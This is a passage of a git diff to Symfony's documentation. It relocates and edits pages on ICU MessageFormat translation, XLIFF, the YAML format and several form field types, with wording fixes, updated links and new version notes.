| ++-----------------------------------------------------------------+---------------+ +| ``&`` | left | ++-----------------------------------------------------------------+---------------+ +| ``^`` | left | ++-----------------------------------------------------------------+---------------+ +| ``|`` | left | ++-----------------------------------------------------------------+---------------+ +| ``and``, ``&&`` | left | ++-----------------------------------------------------------------+---------------+ +| ``xor`` | left | ++-----------------------------------------------------------------+---------------+ +| ``or``, ``||`` | left | ++-----------------------------------------------------------------+---------------+ + +Built-in Objects and Variables +------------------------------ + +When using this component inside a Symfony application, certain objects and +variables are automatically injected by Symfony so you can use them in your +expressions (e.g. the request, the current user, etc.): + +* :doc:`Variables available in security expressions </security/expressions>`; +* :doc:`Variables available in service container expressions </service_container/expression_language>`; +* :ref:`Variables available in routing expressions <routing-matching-expressions>`. + +.. _`null-coalescing operator in PHP`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce diff --git a/translation/message_format.rst b/reference/formats/message_format.rst similarity index 81% rename from translation/message_format.rst rename to reference/formats/message_format.rst index 8f8fea5296c..fb0143228c1 100644 --- a/translation/message_format.rst +++ b/reference/formats/message_format.rst @@ -1,12 +1,10 @@ -.. index:: - single: Translation; Message Format - How to Translate Messages using the ICU MessageFormat ===================================================== Messages (i.e. strings) in applications are almost never completely static. -They contain variables or other complex logic like pluralization. In order to -handle this, the Translator component supports the `ICU MessageFormat`_ syntax. +They contain variables or other complex logic like pluralization. To +handle this, the :doc:`Translator component </translation>` supports the +`ICU MessageFormat`_ syntax. .. tip:: @@ -47,7 +45,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called .. code-block:: xml <!-- translations/messages+intl-icu.en.xlf --> - <?xml version="1.0"?> + <?xml version="1.0" encoding="UTF-8" ?> <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> <file source-language="en" datatype="plaintext" original="file.ext"> <body> @@ -66,8 +64,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called 'say_hello' => "Hello {name}!", ]; - -.. caution:: +.. warning:: In the previous translation format, placeholders were often wrapped in ``%`` (e.g. ``%name%``). This ``%`` character is no longer valid with the ICU @@ -88,7 +85,7 @@ Selecting Different Messages Based on a Condition The curly brace syntax allows to "modify" the output of the variable. One of these functions is the ``select`` function. It acts like PHP's `switch statement`_ -and allows to use different strings based on the value of the variable. A +and allows you to use different strings based on the value of the variable. A typical usage of this is gender: .. configuration-block:: @@ -100,15 +97,16 @@ typical usage of this is gender: # the 'other' key is required, and is selected if no other case matches invitation_title: >- {organizer_gender, select, - female {{organizer_name} has invited you for her party!} - male {{organizer_name} has invited you for his party!} - other {{organizer_name} have invited you for their party!} + female {{organizer_name} has invited you to her party!} + male {{organizer_name} has invited you to his party!} + multiple {{organizer_name} have invited you to their party!} + other {{organizer_name} has invited you to their party!} } .. code-block:: xml <!-- translations/messages+intl-icu.en.xlf --> - <?xml version="1.0"?> + <?xml version="1.0" encoding="UTF-8" ?> <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> <file source-language="en" datatype="plaintext" original="file.ext"> <body> @@ -116,9 +114,10 @@ typical usage of this is gender: <source>invitation_title</source> <!-- the 'other' key is required, and is selected if no other case matches --> <target>{organizer_gender, select, - female {{organizer_name} has invited you for her party!} - male {{organizer_name} has invited you for his party!} - other {{organizer_name} have invited you for their party!} + female {{organizer_name} has invited you to her party!} + male {{organizer_name} has invited you to his party!} + multiple {{organizer_name} have invited you to their party!} + other {{organizer_name} has invited you to their party!} }</target> </trans-unit> </body> @@ -131,9 +130,10 @@ typical usage of this is gender: return [ // the 'other' key is required, and is selected if no other case matches 'invitation_title' => '{organizer_gender, select, - female {{organizer_name} has invited you for her party!} - male {{organizer_name} has invited you for his party!} - other {{organizer_name} have invited you for their party!} + female {{organizer_name} has invited you to her party!} + male {{organizer_name} has invited you to his party!} + multiple {{organizer_name} have invited you to their party!} + other {{organizer_name} has invited you to their party!} }', ]; @@ -143,15 +143,21 @@ later, ``function_statement`` is optional for some functions). In this case, the function name is ``select`` and its statement contains the "cases" of this select. This function is applied over the ``organizer_gender`` variable:: - // prints "Ryan has invited you for his party!" + // prints "Ryan has invited you to his party!" echo $translator->trans('invitation_title', [ 'organizer_name' => 'Ryan', 'organizer_gender' => 'male', ]); - // prints "John & Jane have invited you for their party!" + // prints "John & Jane have invited you to their party!" echo $translator->trans('invitation_title', [ 'organizer_name' => 'John & Jane', + 'organizer_gender' => 'multiple', + ]); + + // prints "ACME Company has invited you to their party!" + echo $translator->trans('invitation_title', [ + 'organizer_name' => 'ACME Company', 'organizer_gender' => 'not_applicable', ]); @@ -160,19 +166,42 @@ you to use literal text in the select statements: #. The first ``{organizer_gender, select, ...}`` block starts the "code" mode, which means ``organizer_gender`` is processed as a variable. -#. The inner ``{... has invited you for her party!}`` block brings you back in +#. The inner ``{... has invited you to her party!}`` block brings you back in "literal" mode, meaning the text is not processed. #. Inside this block, ``{organizer_name}`` starts "code" mode again, allowing - ``organizer_name`` to be processed as variable. + ``organizer_name`` to be processed as a variable. .. tip:: While it might seem more logical to only put ``her``, ``his`` or ``their`` in the switch statement, it is better to use "complex arguments" at the outermost structure of the message. The strings are in this way better - readable for translators and, as you can see in the ``other`` case, other + readable for translators and, as you can see in the ``multiple`` case, other parts of the sentence might be influenced by the variables. +.. tip:: + + It's possible to translate ICU MessageFormat messages directly in code, + without having to define them in any file:: + + $invitation = '{organizer_gender, select, + female {{organizer_name} has invited you to her party!} + male {{organizer_name} has invited you to his party!} + multiple {{organizer_name} have invited you to their party!} + other {{organizer_name} has invited you to their party!} + }'; + + // prints "Ryan has invited you to his party!" + echo $translator->trans( + $invitation, + [ + 'organizer_name' => 'Ryan', + 'organizer_gender' => 'male', + ], + // if you prefer, the required "+intl-icu" suffix is also defined as a constant: + // Symfony\Component\Translation\MessageCatalogueInterface::INTL_DOMAIN_SUFFIX + 'messages+intl-icu' + ); .. _component-translation-pluralization: @@ -191,20 +220,20 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs num_of_apples: >- {apples, plural, =0 {There are no apples} - one {There is one apple...} + =1 {There is one apple...} other {There are # apples!} } .. code-block:: xml <!-- translations/messages+intl-icu.en.xlf --> - <?xml version="1.0"?> + <?xml version="1.0" encoding="UTF-8" ?> <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> <file source-language="en" datatype="plaintext" original="file.ext"> <body> <trans-unit id="num_of_apples"> <source>num_of_apples</source> - <target>{apples, plural, =0 {There are no apples} one {There is one apple...} other {There are # apples!}}</target> + <target>{apples, plural, =0 {There are no apples} =1 {There is one apple...} other {There are # apples!}}</target> </trans-unit> </body> </file> @@ -216,7 +245,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs return [ 'num_of_apples' => '{apples, plural, =0 {There are no apples} - one {There is one apple...} + =1 {There is one apple...} other {There are # apples!} }', ]; @@ -224,7 +253,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs Pluralization rules are actually quite complex and differ for each language. For instance, Russian uses different plural forms for numbers ending with 1; numbers ending with 2, 3 or 4; numbers ending with 5, 6, 7, 8 or 9; and even -some exceptions of this! +some exceptions to this! In order to properly translate this, the possible cases in the ``plural`` function are also different for each language. For instance, Russian has @@ -255,33 +284,30 @@ Usage of this string is the same as with variables and select:: .. code-block:: text {gender_of_host, select, - female { - {num_guests, plural, offset:1 + female {{num_guests, plural, offset:1 =0 {{host} does not give a party.} =1 {{host} invites {guest} to her party.} =2 {{host} invites {guest} and one other person to her party.} - other {{host} invites {guest} and # other people to her party.}} - } - male { - {num_guests, plural, offset:1 + other {{host} invites {guest} and # other people to her party.} + }} + male {{num_guests, plural, offset:1 =0 {{host} does not give a party.} =1 {{host} invites {guest} to his party.} =2 {{host} invites {guest} and one other person to his party.} - other {{host} invites {guest} and # other people to his party.}} - } - other { - {num_guests, plural, offset:1 + other {{host} invites {guest} and # other people to his party.} + }} + other {{num_guests, plural, offset:1 =0 {{host} does not give a party.} =1 {{host} invites {guest} to their party.} =2 {{host} invites {guest} and one other person to their party.} - other {{host} invites {guest} and # other people to their party.}} - } + other {{host} invites {guest} and # other people to their party.} + }} } .. sidebar:: Using Ranges in Messages The pluralization in the legacy Symfony syntax could be used with custom - ranges (e.g. have a different messages for 0-12, 12-40 and 40+). The ICU + ranges (e.g. have different messages for 0-12, 12-40 and 40+). The ICU message format does not have this feature. Instead, this logic should be moved to PHP code:: @@ -329,7 +355,7 @@ Similar to ``plural``, ``selectordinal`` allows you to use numbers as ordinal sc .. code-block:: xml <!-- translations/messages+intl-icu.en.xlf --> - <?xml version="1.0"?> + <?xml version="1.0" encoding="UTF-8" ?> <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> <file source-language="en" datatype="plaintext" original="file.ext"> <body> @@ -393,7 +419,7 @@ using the :phpclass:`IntlDateFormatter`: .. code-block:: xml <!-- translations/messages+intl-icu.en.xlf --> - <?xml version="1.0"?> + <?xml version="1.0" encoding="UTF-8" ?> <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> <file source-language="en" datatype="plaintext" original="file.ext"> <body> @@ -435,7 +461,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu .. code-block:: xml <!-- translations/messages+intl-icu.en.xlf --> - <?xml version="1.0"?> + <?xml version="1.0" encoding="UTF-8" ?> <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> <file source-language="en" datatype="plaintext" original="file.ext"> <body> @@ -472,8 +498,8 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu // "9 988 776,65 €" echo $translator->trans('value_of_object', ['value' => 9988776.65]); -.. _`online editor`: http://format-message.github.io/icu-message-format-for-translators/ -.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages +.. _`online editor`: https://format-message.github.io/icu-message-format-for-translators/ +.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/ .. _`switch statement`: https://www.php.net/control-structures.switch -.. _`Language Plural Rules`: http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html +.. _`Language Plural Rules`: https://www.unicode.org/cldr/charts/43/supplemental/language_plural_rules.html .. _`constants defined by the IntlDateFormatter class`: https://www.php.net/manual/en/class.intldateformatter.php diff --git a/translation/xliff.rst b/reference/formats/xliff.rst similarity index 81% rename from translation/xliff.rst rename to reference/formats/xliff.rst index a3c3daab43e..b5dc99b4186 100644 --- a/translation/xliff.rst +++ b/reference/formats/xliff.rst @@ -19,7 +19,7 @@ loaded/dumped inside a Symfony application: .. code-block:: xml - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <xliff xmlns="urn:oasis:names:tc:xliff:document:2.1" version="2.1" srcLang="fr-FR" trgLang="en-US"> <file id="messages.en_US"> @@ -29,7 +29,7 @@ loaded/dumped inside a Symfony application: <note category="approved">true</note> <note category="section" priority="1">user login</note> </notes> - <segment> + <segment state="translated" subState="Some custom value"> <source>original-content</source> <target>translated-content</target> </segment> @@ -37,4 +37,8 @@ loaded/dumped inside a Symfony application: </file> </xliff> -.. _XLIFF: http://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html +.. versionadded:: 7.2 + + The support of attributes in the ``<segment>`` element was introduced in Symfony 7.2. + +.. _XLIFF: https://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html diff --git a/components/yaml/yaml_format.rst b/reference/formats/yaml.rst similarity index 75% rename from components/yaml/yaml_format.rst rename to reference/formats/yaml.rst index 0cca9901836..1884735bd82 100644 --- a/components/yaml/yaml_format.rst +++ b/reference/formats/yaml.rst @@ -1,22 +1,16 @@ -.. index:: - single: Yaml; YAML Format - The YAML Format -=============== +--------------- -According to the official `YAML website`_, YAML is "a human friendly data -serialization standard for all programming languages". The Symfony Yaml -component implements a subset of the `YAML specification`_. Specifically, it -implements the minimum set of features needed to use YAML as a configuration -file format. +The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset +of features defined in the `YAML 1.2 version specification`_. Scalars -------- +~~~~~~~ The syntax for scalars is similar to the PHP syntax. Strings -~~~~~~~ +....... Strings in YAML can be wrapped both in single and double quotes. In some cases, they can also be unquoted: @@ -25,7 +19,7 @@ they can also be unquoted: A string in YAML - 'A singled-quoted string in YAML' + 'A single-quoted string in YAML' "A double-quoted string in YAML" @@ -40,12 +34,10 @@ must be doubled to escape it: 'A single quote '' inside a single-quoted string' -Strings containing any of the following characters must be quoted. Although you -can use double quotes, for these characters it is more convenient to use single -quotes, which avoids having to escape any backslash ``\``: - -* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``, - ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, ````` +Strings containing any of the following characters must be quoted: +``: { } [ ] , & * # ? | - < > = ! % @`` Although you can use double quotes, for +these characters it is more convenient to use single quotes, which avoids having +to escape any backslash ``\``. The double-quoted style provides a way to express arbitrary strings, by using ``\`` to escape characters and sequences. For instance, it is very useful @@ -58,11 +50,11 @@ when you need to embed a ``\n`` or a Unicode character in a string. If the string contains any of the following control characters, it must be escaped with double quotes: -* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``, - ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``, - ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``, - ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``, - ``\_``, ``\L``, ``\P`` +``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``, +``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``, +``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``, +``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``, +``\_``, ``\L``, ``\P`` Finally, there are other cases when the strings must be quoted, no matter if you're using single or double quotes: @@ -112,7 +104,7 @@ where each line break is replaced by a space: won't appear in the resulting PHP strings. Numbers -~~~~~~~ +....... .. code-block:: yaml @@ -124,12 +116,6 @@ Numbers # an octal 0o14 -.. deprecated:: 5.1 - - In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2 - the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2 - notation and deprecated support for YAML 1.1 notation. - .. code-block:: yaml # an hexadecimal @@ -151,17 +137,17 @@ Numbers .inf Nulls -~~~~~ +..... Nulls in YAML can be expressed with ``null`` or ``~``. Booleans -~~~~~~~~ +........ Booleans in YAML are expressed with ``true`` and ``false``. Dates -~~~~~ +..... YAML uses the `ISO-8601`_ standard to express dates: @@ -177,7 +163,7 @@ YAML uses the `ISO-8601`_ standard to express dates: .. _yaml-format-collections: Collections ------------ +~~~~~~~~~~~ A YAML file is rarely used to describe a simple scalar. Most of the time, it describes a collection. YAML collections can be a sequence (indexed arrays in PHP) @@ -288,7 +274,7 @@ You can mix and match styles to achieve a better readability: 'symfony 1.2': { PHP: 5.2, Propel: 1.3 } Comments --------- +~~~~~~~~ Comments can be added in YAML by prefixing them with a hash mark (``#``): @@ -304,7 +290,7 @@ Comments can be added in YAML by prefixing them with a hash mark (``#``): according to the current level of nesting in a collection. Explicit Typing ---------------- +~~~~~~~~~~~~~~~ The YAML specification defines some tags to set the type of any data explicitly: @@ -324,8 +310,55 @@ The YAML specification defines some tags to set the type of any data explicitly: Pz7Y6OjuDg4J+fn5OTk6enp 56enmleECcgggoBADs= +Symfony Specific Features +~~~~~~~~~~~~~~~~~~~~~~~~~ + +The Yaml component provides some additional features that are not part of the +official YAML specification but are useful in Symfony applications: + +* ``!php/const`` allows to get the value of a PHP constant. This tag takes the + fully-qualified class name of the constant as its argument: + + .. code-block:: yaml + + data: + page_limit: !php/const App\Pagination\Paginator::PAGE_LIMIT + +* ``!php/object`` allows to pass the serialized representation of a PHP + object (created with the `serialize()`_ function), which will be deserialized + when parsing the YAML file: + + .. code-block:: yaml + + data: + my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}' + +* ``!php/enum`` allows to use a PHP enum case. This tag takes the fully-qualified + class name of the enum case as its argument: + + .. code-block:: yaml + + data: + # You can use the typed enum case... + operator_type: !php/enum App\Operator\Enum\Type::Or + # ... or you can also use "->value" to directly use the value of a BackedEnum case + operator_type: !php/enum App\Operator\Enum\Type::Or->value + + This tag allows to omit the enum case and only provide the enum FQCN + to return an array of all available enum cases: + + .. code-block:: yaml + + data: + operator_types: !php/enum App\Operator\Enum\Type + + .. versionadded:: 7.1 + + The support for using the enum FQCN without specifying a case + was introduced in Symfony 7.1. + Unsupported YAML Features -------------------------- +~~~~~~~~~~~~~~~~~~~~~~~~~ The following YAML features are not supported by the Symfony Yaml component: @@ -339,6 +372,6 @@ The following YAML features are not supported by the Symfony Yaml component: * Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use ``{foo: ~, bar: ~}`` instead). +.. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html .. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html -.. _`YAML website`: https://yaml.org/ -.. _`YAML specification`: https://www.yaml.org/spec/1.2/spec.html +.. _`serialize()`: https://www.php.net/manual/en/function.serialize.php diff --git a/reference/forms/types.rst b/reference/forms/types.rst index 49d769c8967..26668d6d78a 100644 --- a/reference/forms/types.rst +++ b/reference/forms/types.rst @@ -1,57 +1,6 @@ -.. index:: - single: Forms; Types Reference - Form Types Reference ==================== -.. toctree:: - :maxdepth: 1 - :hidden: - - types/text - types/textarea - types/email - types/integer - types/money - types/number - types/password - types/percent - types/search - types/url - types/range - types/tel - types/color - - types/choice - types/entity - types/country - types/language - types/locale - types/timezone - types/currency - - types/date - types/dateinterval - types/datetime - types/time - types/birthday - types/week - - types/checkbox - types/file - types/radio - - types/collection - types/repeated - - types/hidden - - types/button - types/reset - types/submit - - types/form - A form is composed of *fields*, each of which are built with the help of a field *type* (e.g. ``TextType``, ``ChoiceType``, etc). Symfony comes standard with a large list of field types that can be used in your application. diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst index 6299dbf1e09..383dbf890f2 100644 --- a/reference/forms/types/birthday.rst +++ b/reference/forms/types/birthday.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; BirthdayType - BirthdayType Field ================== @@ -14,51 +11,26 @@ This type is essentially the same as the :doc:`DateType </reference/forms/types/ type, but with a more appropriate default for the `years`_ option. The `years`_ option defaults to 120 years ago to the current year. -+----------------------+-------------------------------------------------------------------------------+ -| Underlying Data Type | can be ``DateTime``, ``string``, ``timestamp``, or ``array`` | -| | (see the :ref:`input option <form-reference-date-input>`) | -+----------------------+-------------------------------------------------------------------------------+ -| Rendered as | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option | -+----------------------+-------------------------------------------------------------------------------+ -| Overridden options | - `years`_ | -+----------------------+-------------------------------------------------------------------------------+ -| Inherited options | from the :doc:`DateType </reference/forms/types/date>`: | -| | | -| | - `choice_translation_domain`_ | -| | - `days`_ | -| | - `placeholder`_ | -| | - `format`_ | -| | - `input`_ | -| | - `input_format`_ | -| | - `model_timezone`_ | -| | - `months`_ | -| | - `view_timezone`_ | -| | - `widget`_ | -| | | -| | from the :doc:`FormType </reference/forms/types/form>`: | -| | | -| | - `attr`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `inherit_data`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `mapped`_ | -| | - `row_attr`_ | -+----------------------+-------------------------------------------------------------------------------+ -| Parent type | :doc:`DateType </reference/forms/types/date>` | -+----------------------+-------------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType` | -+----------------------+-------------------------------------------------------------------------------+ ++---------------------------+-------------------------------------------------------------------------------+ +| Underlying Data Type | can be ``DateTime``, ``string``, ``timestamp``, or ``array`` | +| | (see the :ref:`input option <form-reference-date-input>`) | ++---------------------------+-------------------------------------------------------------------------------+ +| Rendered as | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option | ++---------------------------+-------------------------------------------------------------------------------+ +| Default invalid message | Please enter a valid birthdate. | ++---------------------------+-------------------------------------------------------------------------------+ +| Parent type | :doc:`DateType </reference/forms/types/date>` | ++---------------------------+-------------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType` | ++---------------------------+-------------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc Overridden Options ------------------ +.. include:: /reference/forms/types/options/invalid_message.rst.inc + ``years`` ~~~~~~~~~ @@ -95,7 +67,7 @@ values for the year, month and day fields:: $builder->add('birthdate', BirthdayType::class, [ 'placeholder' => [ 'year' => 'Year', 'month' => 'Month', 'day' => 'Day', - ] + ], ]); .. include:: /reference/forms/types/options/date_format.rst.inc @@ -128,8 +100,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/inherit_data.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst index 655d515215b..a83cb0a09b6 100644 --- a/reference/forms/types/button.rst +++ b/reference/forms/types/button.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; ButtonType - ButtonType Field ================ @@ -9,15 +6,6 @@ A simple, non-responsive button. +----------------------+----------------------------------------------------------------------+ | Rendered as | ``button`` tag | +----------------------+----------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `attr_translation_parameters`_ | -| | - `disabled`_ | -| | - `label`_ | -| | - `label_html`_ | -| | - `label_translation_parameters`_ | -| | - `row_attr`_ | -| | - `translation_domain`_ | -+----------------------+----------------------------------------------------------------------+ | Parent type | none | +----------------------+----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ButtonType` | diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst index aef03ef1e44..2299220c5b6 100644 --- a/reference/forms/types/checkbox.rst +++ b/reference/forms/types/checkbox.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; CheckboxType - CheckboxType Field ================== @@ -11,34 +8,15 @@ you can specify an array of values that, if submitted, will be evaluated to "false" as well (this differs from what HTTP defines, but can be handy if you want to handle submitted values like "0" or "false"). -+-------------+------------------------------------------------------------------------+ -| Rendered as | ``input`` ``checkbox`` field | -+-------------+------------------------------------------------------------------------+ -| Options | - `false_values`_ | -| | - `value`_ | -+-------------+------------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | - `empty_data`_ | -+-------------+------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+------------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` | -+-------------+------------------------------------------------------------------------+ ++---------------------------+------------------------------------------------------------------------+ +| Rendered as | ``input`` ``checkbox`` field | ++---------------------------+------------------------------------------------------------------------+ +| Default invalid message | The checkbox has an invalid value. | ++---------------------------+------------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` | ++---------------------------+------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -74,6 +52,8 @@ Overridden Options .. include:: /reference/forms/types/options/checkbox_empty_data.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -99,6 +79,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst index 04efd2fe02c..9f61fb768bd 100644 --- a/reference/forms/types/choice.rst +++ b/reference/forms/types/choice.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; ChoiceType - ChoiceType Field (select drop-downs, radio buttons & checkboxes) ================================================================ @@ -9,52 +6,15 @@ It can be rendered as a ``select`` tag, radio buttons, or checkboxes. To use this field, you must specify *either* ``choices`` or ``choice_loader`` option. -+-------------+------------------------------------------------------------------------------+ -| Rendered as | can be various tags (see below) | -+-------------+------------------------------------------------------------------------------+ -| Options | - `choices`_ | -| | - `choice_attr`_ | -| | - `choice_filter`_ | -| | - `choice_label`_ | -| | - `choice_loader`_ | -| | - `choice_name`_ | -| | - `choice_translation_domain`_ | -| | - `choice_value`_ | -| | - `expanded`_ | -| | - `group_by`_ | -| | - `multiple`_ | -| | - `placeholder`_ | -| | - `preferred_choices`_ | -+-------------+------------------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `trim`_ | -+-------------+------------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `by_reference`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `inherit_data`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `translation_domain`_ | -| | - `label_translation_parameters`_ | -| | - `attr_translation_parameters`_ | -| | - `help_translation_parameters`_ | -+-------------+------------------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+------------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` | -+-------------+------------------------------------------------------------------------------+ ++---------------------------+----------------------------------------------------------------------+ +| Rendered as | can be various tags (see below) | ++---------------------------+----------------------------------------------------------------------+ +| Default invalid message | The selected choice is invalid. | ++---------------------------+----------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` | ++---------------------------+----------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -79,7 +39,7 @@ end users and the array values are the internal values used in the form field:: This will create a ``select`` drop-down like this: .. image:: /_images/reference/form/choice-example1.png - :align: center + :alt: A choice list form input with the options "Maybe", "Yes" and "No". If the user selects ``No``, the form will return ``false`` for this field. Similarly, if the starting data for this field is ``true``, then ``Yes`` will be auto-selected. @@ -111,21 +71,21 @@ method:: // a callback to return the label for a given choice // if a placeholder is used, its empty value (null) may be passed but // its label is defined by its own "placeholder" option - 'choice_label' => function(?Category $category) { + 'choice_label' => function (?Category $category): string { return $category ? strtoupper($category->getName()) : ''; }, // returns the html attributes for each option input (may be radio/checkbox) - 'choice_attr' => function(?Category $category) { + 'choice_attr' => function (?Category $category): array { return $category ? ['class' => 'category_'.strtolower($category->getName())] : []; }, // every option can use a string property path or any callable that get // passed each choice as argument, but it may not be needed - 'group_by' => function() { + 'group_by' => function (): string { // randomly assign things into 2 groups - return rand(0, 1) == 1 ? 'Group A' : 'Group B'; + return rand(0, 1) === 1 ? 'Group A' : 'Group B'; }, // a callback to return whether a category is preferred - 'preferred_choices' => function(?Category $category) { + 'preferred_choices' => function (?Category $category): bool { return $category && 100 < $category->getArticleCounts(); }, ]); @@ -133,7 +93,7 @@ method:: You can also customize the `choice_name`_ of each choice. You can learn more about all of these options in the sections below. -.. caution:: +.. warning:: The *placeholder* is a specific field, when the choices are optional the first item in the list must be empty, so the user can unselect. @@ -175,18 +135,13 @@ by passing a multi-dimensional ``choices`` array:: ]); .. image:: /_images/reference/form/choice-example4.png - :align: center + :alt: A choice list with the options "Yes" and "No" grouped under "Main Statuses" and the options "Backordered" and "Discontinued" under "Out of Stock Statuses". To get fancier, use the `group_by`_ option instead. Field Options ------------- -.. versionadded:: 5.1 - - The :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class was - introduced in Symfony 5.1, to help configuring choices options. - choices ~~~~~~~ @@ -223,12 +178,18 @@ correct types will be assigned to the model. .. include:: /reference/forms/types/options/choice_loader.rst.inc +.. include:: /reference/forms/types/options/choice_lazy.rst.inc + .. include:: /reference/forms/types/options/choice_name.rst.inc .. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc +.. include:: /reference/forms/types/options/choice_translation_parameters.rst.inc + .. include:: /reference/forms/types/options/choice_value.rst.inc +.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc + .. include:: /reference/forms/types/options/expanded.rst.inc .. include:: /reference/forms/types/options/group_by.rst.inc @@ -237,8 +198,36 @@ correct types will be assigned to the model. .. include:: /reference/forms/types/options/placeholder.rst.inc +.. include:: /reference/forms/types/options/placeholder_attr.rst.inc + .. 